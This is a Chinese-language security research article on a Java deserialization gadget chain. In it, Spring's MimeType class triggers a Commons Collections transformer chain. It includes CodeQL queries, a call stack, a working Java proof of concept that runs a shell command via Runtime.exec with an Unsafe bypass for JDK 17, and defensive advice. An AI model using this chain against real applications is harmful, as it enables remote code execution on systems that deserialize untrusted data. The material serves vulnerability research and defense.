Spring的新入口类反序列化触发CC链
字数 1590 2025-08-05 08:19:58
Spring框架中利用MimeType类触发Commons Collections反序列化链的分析与利用
前言
本文详细分析了一种新型的Spring框架反序列化漏洞利用方式,通过MimeType类作为入口点触发Apache Commons Collections(CC)反序列化链。该技术由jasper_sec在2024年4月发现并公开,适用于以下环境:
- JDK 17.0.11
- SpringBoot 3.1.10
- Commons Collections 3.2.1
- CodeQL CLI 2.17.0
技术背景
反序列化漏洞基本原理
Java反序列化漏洞通常发生在应用程序反序列化不可信数据时,攻击者可以构造特殊的序列化对象,在反序列化过程中执行任意代码。Apache Commons Collections库中的Transformer链(CC链)是经典的利用方式之一。
新入口点发现
传统CC链通常需要找到可序列化类中的readObject方法调用Map.get()的路径。本研究发现Spring框架中的MimeType类提供了新的可利用路径。
技术分析
CodeQL环境搭建
-
安装CodeQL CLI:
- 下载CodeQL CLI命令行工具并配置环境变量
- VS Code安装CodeQL插件并配置CLI路径
- 下载vscode-codeql-starter工作空间
-
创建数据库:
codeql database create /path/to/database --language=java --source-root=/path/to/source --command="mvn clean package"
CodeQL查询编写
定义source点(readObject方法)
class ReadObjectMethod extends Method {
ReadObjectMethod(){
this.getDeclaringType() instanceof Serializable and
this.isPrivate() and
this.hasName("readObject") and
this.getReturnType() instanceof VoidType
}
}
定义sink点(LazyMap.get方法)
class LazyMapGetMethod extends Method {
LazyMapGetMethod() {
this.getDeclaringType() instanceof Serializable and
this.isPublic() and
this.getReturnType() instanceof TypeObject and
this.hasName("get") and
this.getDeclaringType().hasQualifiedName("org.apache.commons.collections.map","LazyMap")
}
}
漏洞链分析
调用链路径如下:
MimeType#readObject→ 调用this.getParameter("charset")getParameter→ 调用this.parameters.get("charset")parameters是Map类型,可被替换为恶意的LazyMap对象
完整调用栈:
transform:120, InvokerTransformer (org.apache.commons.collections.functors)
transform:123, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getParameter:328, MimeType (org.springframework.util)
readObject:677, MimeType (org.springframework.util)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
invokeReadObject:1104, ObjectStreamClass (java.io)
readSerialData:2434, ObjectInputStream (java.io)
readOrdinaryObject:2268, ObjectInputStream (java.io)
readObject0:1744, ObjectInputStream (java.io)
readObject:514, ObjectInputStream (java.io)
readObject:472, ObjectInputStream (java.io)
unserializeBase64:38, SerializeUtils (utils)
main:34, Test (Test)
漏洞利用
PoC代码
package Test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.springframework.util.MimeType;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.util.*;
import utils.*;
public class Test {
public static void main(String[] args) throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap();
Map map1 = LazyMap.decorate(map, chainedTransformer);
// 使用Unsafe绕过JDK17的反射限制
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe)field.get((Object)null);
// 创建MimeType实例并修改其parameters字段
MimeType mimeType = (MimeType) unsafe.allocateInstance(MimeType.class);
unsafe.putObject(mimeType,
unsafe.objectFieldOffset(MimeType.class.getDeclaredField("parameters")),
map1);
// 序列化并反序列化触发漏洞
String pld = SerializeUtils.serializeBase64(mimeType);
SerializeUtils.unserializeBase64(pld);
}
}
关键技术点
-
Transformer链构造:
- 使用
ChainedTransformer组合多个Transformer - 通过反射调用
Runtime.getRuntime().exec()执行命令
- 使用
-
LazyMap包装:
- 使用
LazyMap.decorate()方法将普通Map包装为LazyMap - 设置Transformer链作为LazyMap的factory
- 使用
-
JDK17绕过技术:
- 使用
Unsafe类直接操作内存修改MimeType的parameters字段 - 避免了JDK17对反射修改final字段的限制
- 使用
-
触发流程:
- 序列化恶意构造的
MimeType对象 - 反序列化时自动调用
readObject方法 - 触发
LazyMap.get()进而执行Transformer链
- 序列化恶意构造的
防御建议
-
升级Commons Collections:
- 升级到已修复的版本(3.2.2+)
- 或使用
SerializationKiller等防护库
-
输入验证:
- 对反序列化的数据源进行严格校验
- 使用白名单控制可反序列化的类
-
运行时防护:
- 使用SecurityManager限制敏感操作
- 监控反序列化操作
-
代码层面:
- 避免直接反序列化不可信数据
- 使用JSON等更安全的替代方案
总结
本文详细分析了通过Spring框架MimeType类触发Commons Collections反序列化链的新型利用方式。该技术的关键在于:
- 使用CodeQL定位新的可利用路径
- 构造特殊的Transformer链
- 利用Unsafe绕过JDK17的安全限制
- 通过
MimeType的readObject方法触发漏洞
这种利用方式扩展了反序列化漏洞的攻击面,提醒开发者在升级环境中仍需注意潜在的安全风险。